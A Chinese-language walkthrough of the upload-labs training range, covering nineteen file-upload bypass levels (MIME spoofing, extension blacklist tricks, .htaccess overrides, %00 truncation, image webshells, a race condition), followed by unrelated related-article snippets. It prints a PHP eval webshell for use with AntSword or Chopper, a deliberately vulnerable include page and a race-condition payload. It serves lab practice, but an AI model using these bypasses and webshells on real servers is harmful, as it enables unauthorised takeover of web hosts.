upload-labs靶场(1-19关)

upload-labs靶场

简介

upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共19关,每一关都包含着不同上传方式。

注意:能运行<?php phpinfo();?>

就能运行<?php eval($_POST['cmd'])?>一句话木马

为了方便只有第一关用了一句话木马。

Pass-01

思路:第一关限制了长传文件的类型,所以在抓包的时候将图片扩展名改成php扩展名即可

image-20240727084800801

步骤一:写一个1.jpg在里面写php代码

image-20240726114010472

步骤二:BP抓包

image-20240726114234296

步骤三:修改filename改成php扩展名

image-20240726114334395

步骤四:查看网站下上传的文件,文件里写的echo "1"所以显示1

image-20240726114434513

我们如果写一句话木马即可控制他的电脑

<?php @eval($_POST['cmd']);?>

使用工具–蚂蚁,中国菜刀

点击添加

image-20240726115247637

双击

image-20240726115339851

连接成功

image-20240726115329078

Ps:其他关就不用一句话木马了。

Pass-02

思路:查看提示看到是在服务端对数据的MIME进行检查,MIME验证就是验证文件的类型。代码种文件类型只能让jpeg,png,gif传入,所以我们的思路就是用burp抓包然后修改文件的类型。

image-20240727085006288

步骤一:抓包修改内容类型位图片类型

image-20240726135339921

步骤三:访问web下上传的文件

image-20240726135225933

Pass-03

思路:第三关禁用.php,这时候我们就要想办法绕过,说黑名单规则不严谨.

也可以写.php3.php5绕过,但某些环境不支持打开php3文件。

image-20240727085207751

image-20240726135933051

注:有一些使用phpstudy搭建的upload-labs可能无法加载出这个页面,这是因为phpstudy的配置文件需要修改,打开phpstudy的httpd-conf配置文件,修改 #AddType application/x-httpd-php .php .phtml 为 AddType application/x-httpd-php .php .phtml .php5 .php3,注意前面的#要删除,这时即可正常访问图片地址。

Pass-04

思路:这题将.php,.php3…这些都禁用了,双写也绕不过去。我们可以上传.htaccess文件,将jpg文件当作php文件执行。

ps:某些环境不支持,在这里我们找的在线靶场.

image-20240727085400292

phpinfo.jpg

<?php phpinfo(); ?>

1.htaccess

<FilesMatch 'phpinfo.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述

Pass-05

思路:这关没有转换大小写的代码。

image-20240726154340796

上传一个5.Php文件,直接上传成功

image-20240727090944088

Pass-06

思路:缺少首尾去空限制,但windows文件名最后不能加空格,可以BP抓包修改

image-20240726154946584

image-20240727092814305

image-20240727092829879

Pass-07

思路:本体没有删除文件末尾的点限制,所以在文件后加个点绕过

image-20240727092921234

BP抓包

image-20240727093124760

image-20240727093103444

Pass-08

思路:缺少去除字符串::$DATA

image-20240727093205511

BP抓包

image-20240727093418007

去除URL中的::$DATA

image-20240727093500378

image-20240727093531647

Pass-09

思路:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来。

所以我们应该修改文件名为:9.php. .,两个点中间有个空格

image-20240727093812130

BP抓包

image-20240727094021331

image-20240727094034556

Pass-10

思路:本题通过截取文件扩展名,如果截取的扩展名与数组中一样则被拦截。可以通过双写php绕过,写成10.pphphp

image-20240727094243770

image-20240727094541598

Pass-11

思路:本题只允许上传.jpg,.png,.gif,本题考查GET方式%00截断

在处理数据时,当处理到00,就当作处理完成

PHP版本小于5.3

因为实在找不到PHP版本符合的环境,在ctfhub%00截断题目中开了个环境

image-20240727094649216

image-20240727103656440

image-20240727103821123

image-20240727103837677

image-20240727104215475

Pass-12

$_POST['save_path']以POST形式传参时,直接使用%00无法截断,因为POST的数据不会被直接解码,空格会替换成+号,需要手动使用burp中的URL-decode解码。

PHP版本小于5.3

image-20240727104959921

image-20240727105153189

Pass-13

制作一个图片马。

在Windows系统中制作图片马的方法:

(1)随机获得一张图片,这里以如下图片(图片名为cat1.jpg)为例:

猫1

(2)新建一个文本(文本名为cat2.txt),内容为:

<?php phpinfo();?>

注意:cat1.jpg和cat2.txt要在同一个文件目录下。

3)win+r,输入cmd,进入终端,输入如下代码:

cd C:\Users\1\Desktop
copy cat1.jpg/b+cat2.txt/a cat3.jpg

image-20240727110915318

然后需要一个文件包含漏洞

image-20240727111522182

将include.php放到upload文件夹

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){include $file;
}else{show_source(__file__);
}
?> 

上传做好的图片码,然后在本页面以GET方式提交file=上传至服务端的图片马路径

image-20240727112615781

Pass-14

与Pass-13一样

Pass-15

本pass使用exif_imagetype()检查是否为图片文件!

此Pass需要打开php的exif扩展,否则无法正常交互,关于详细内容,请阅读:PHP exif扩展方法开启详解。

image-20240727113235247

其余步骤与Pass-13相同

image-20240727113313217

Pass-16

本pass重新渲染了图片!

需要有一个二次渲染的图片
如下就是一张:
22

图片上传

image-20240727114431566

Pass-17(条件竞争)

提示:需要代码审计!

image-20240727115021145

步骤一:新建一句话木马17.php,代码为:

<?php fputs(fopen('../upload/phpinfo17.php','w'),'<?php phpinfo();?>');?>

只要被成功当作PHP文件解析,就会生成phpinfo17.php 文件

抓包

image-20240727115914769

发送到攻击模块

bp设置无限发送空的Payloads,来让它一直上传该文件

image-20240727120042623

image-20240727121032237

Pass-18

这道题有些问题导致上传的文件传入不进去

在…/upload-labs-env\WWW\Pass-18\myupload.php中修改代码

image-20240727122744637

image-20240727122947328

然后上传一个图片码跟Pass-13一样

image-20240727123647068

Pass-19

空格绕过、点绕过,大小写绕过等等均可。

image-20240727124018471

image-20240727124211821

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3281298.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

Linux的软硬连接

目录 见一下软硬连接 特征 什么是软硬连接&#xff0c;有什么用 软连接有什么用 硬连接有什么用 总结 见一下软硬连接 建立一个软连接 建立硬连接 特征 1. 软连接是一个独立的文件&#xff0c;因为有自己的inode号&#xff0c;由上图可知&#xff1b; 软连接的内容&…

怎麼使用ixbrowser指紋流覽器?

ixBrowser是一款指紋流覽器流覽器&#xff0c;利用指紋隔離技術確保在與Pixelscan等第三方檢測網站進行測試時具有出色的通過率&#xff0c;能夠輕鬆管理多個獨立帳戶。此外&#xff0c;ixBrowser能夠創建無限的獨立個人資料並邀請團隊成員。簡化了運營&#xff0c;降低了運營成…

java基础概念07-switch语句

一、switch定义 二、基本语法 switch (expression) { case value1: // 当expression的值等于value1时执行的代码 break; // 可选 case value2: // 当expression的值等于value2时执行的代码 break; // 可选 // 你可以有任意数量的case语句 default: // 可选 // 当没有…

计算机毕业设计Hadoop+Spark旅游景点可视化 旅游景点推荐系统 景区游客满意度预测与优化 Apriori算法 景区客流量预测 旅游大数据 景点规划

### 开题报告 **论文题目&#xff1a;** 基于Spark的旅游景点可视化系统的设计与实现 **研究背景与意义&#xff1a;** 随着旅游业的快速发展&#xff0c;人们对旅游信息的获取和处理需求越来越高。传统的旅游信息系统虽然能够提供静态的数据查询和展示功能&#xff0c;但在…

Scrapy 爬取旅游景点相关数据(七):利用指纹实现“不重复爬取”

本期学习&#xff1a; 利用网页指纹去重 众所周知&#xff0c;代理是要花钱的&#xff0c;那么在爬取&#xff08;测试&#xff09;巨量网页的时候&#xff0c;就不可能对已经爬取过的网站去重复的爬&#xff0c;这样会消耗大量的时间&#xff0c;更重要的是会消耗大量的IP (金…

jenkins流水线语法--withCredentials篇

jenkins流水线语法--withCredentials篇 &#xff08;在流水线代码中不显示明文密码&#xff09; 在jenkinsfile中进行harbor登录上传镜像时直接用的密码&#xff0c;在代码中不怎么严谨&#xff0c;也缺失安全性&#xff1b;在网上查找资料和大佬们的博客&#xff0c;得出一篇完…

新书推荐:《码农职场:IT 人求职就业手册》——照亮你的职业道路

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

【北京迅为】《i.MX8MM嵌入式Linux开发指南》-第四篇 嵌入式Linux系统移植篇-第六十九章uboot移植

i.MX8MM处理器采用了先进的14LPCFinFET工艺&#xff0c;提供更快的速度和更高的电源效率;四核Cortex-A53&#xff0c;单核Cortex-M4&#xff0c;多达五个内核 &#xff0c;主频高达1.8GHz&#xff0c;2G DDR4内存、8G EMMC存储。千兆工业级以太网、MIPI-DSI、USB HOST、WIFI/BT…

7.31如何面向对象分析(上)

一、面向对象概念 (百度百科) 面向对象开发方法认为客观世界是由对象组成的&#xff0c;对象由属性和操作组成&#xff0c;对象可按其属性进行分类&#xff0c;对象之间的联系通过传递消息来实现&#xff0c;对象具有封装性、继承性和多态性。 面向对象开发方法是以用例驱动的、…

计算机毕业设计PySpark+Django高考志愿填报推荐系统 高考预测 高考大数据分析 Hadoop Spark 机器学习 深度学习 Python

在撰写关于《PySpark高考推荐系统》的论文时&#xff0c;推荐算法的实现通常会利用PySpark&#xff0c;这是Apache Spark的Python API。以下是一个使用PySpark中MLlib库的ALS&#xff08;交替最小二乘法&#xff09;算法来构建高考推荐系统的示例代码。在这个示例中&#xff0c…

【C++】文件IO流

文章目录 1. 流是什么2. C文件操作步骤3. 以二进制的形式操作文件4. 以文本的形式操作文件5. 使用 >> 和 << 对文件进行操作 1. 流是什么 “流”是流动的意思&#xff0c;是物质从一处向另一处流动的过程&#xff0c;是对一种有序连续且有方向性的数据的抽象描述。…

【传输层协议】UDP和TCP协议

UDP协议 UDP协议全称为User Datagram Protocol&#xff0c;用户数据报协议。UDP协议报文格式如下&#xff1a; 16UDP长度。表示整个数据报的最大长度&#xff0c;即UDP首部UDP数据。这个字段帮助我们确保在网络字节流中获取完整的UDP报文信息。校验和&#xff1a;用于检测数…

营销人看巴黎奥运会,看到了什么?

不同的人眼中的巴黎奥运会是不一样的&#xff1a;环保人士关注奥运场馆的绿色设计&#xff0c;以及赛事期间对可再生能源的利用&#xff1b;旅游博主用镜头捕捉巴黎奥运会每一个精彩瞬间&#xff1b;社会学家在巴黎奥运会看到多元文化的交流与融合…… 那么营销人在巴黎奥运会…

家庭教育系列—剑桥通用英语五级考试介绍

文章目录 1. 背景介绍2. 详细介绍2.1 **KET&#xff08;Key English Test&#xff09;&#xff1a;基础英语考试**2.2 **PET&#xff08;Preliminary English Test&#xff09;&#xff1a;初级英语考试**2.3 **FCE&#xff08;First Certificate in English&#xff09;&#…

MySQL:存储引擎相关命令、性能比较

目录 存储引擎 概念 类型 示例 数据库文件 MylSAM .frm .MYD .MYI InnoDB .frm .ibd .opt 查看指定表的存储引擎类型 查看系统支持的存储引擎 修改存储引擎 通过配置文件指定存储引擎 使用alter修改 创建表的同时指定存储引擎 使用set命令临时指定存储引擎…

短剧系统源码分享,快速搭建部署上线教程

一、短剧系统是什么&#xff1f; 短剧制作平台&#xff0c;作为一站式综合解决方案&#xff0c;集剧本创作、角色设计、场景搭建、视频编辑、便捷发布及深度数据分析能力于一身。该平台精准定位于助力企业利用短剧形式强化品牌传播力并驱动商业价值增长&#xff0c;无论企业是…

命令行创建git仓库

方法1&#xff1a;初始化自己的仓库 git init创建完成之后可以用ls -a查看是否存在.git文件 如果不想要git仓库&#xff0c;可以使用rm -rf .git删除仓库 方法2&#xff1a;克隆别人的仓库 git clone [http][http]是仓库网址 总体流程 可以看到文件分为四种状态&#xff0c…

机器学习之——支持向量机(SVM)技术详解

机器学习之——支持向量机&#xff08;SVM&#xff09;技术详解 1. 支持向量机的基本原理1.1 超平面1.1.1 定义与作用1.1.2 高维空间中的超平面 1.2 间隔最大化1.2.1 间隔的定义1.2.2 最大化间隔的原则 1.3 支持向量1.3.1 支持向量的定义1.3.2 支持向量的作用 2. SVM的数学基础…

tomato-靶机渗透

tomato-靶机 一、安装靶机环境 下载双击.ova文件&#xff0c;写文件名路径导入 打开虚拟机用NAT模式 编辑–>虚拟网络编辑器查看IP段 二、信息收集 1.御剑端口扫描查找该虚拟机的IP 访问网站 扫目录 dirb http://192.168.30.130 收集到目录 /server-status /antibot_im…

hash表如何形成,hash函数如何计算,什么是hash冲突 如何解决 ,Golang map的底层原理及扩容机制

散列表 散列表&#xff08;hash表&#xff09;:根据给定的关键字来计算出关键字在表中的地址的数据结构。也就是说&#xff0c;散列表建立了关键字和 存储地址之间的一种直接映射关系。 问题&#xff1a;如何建立映射管血 散列函数:一个把查找表中的关键字映射成该关键字对应…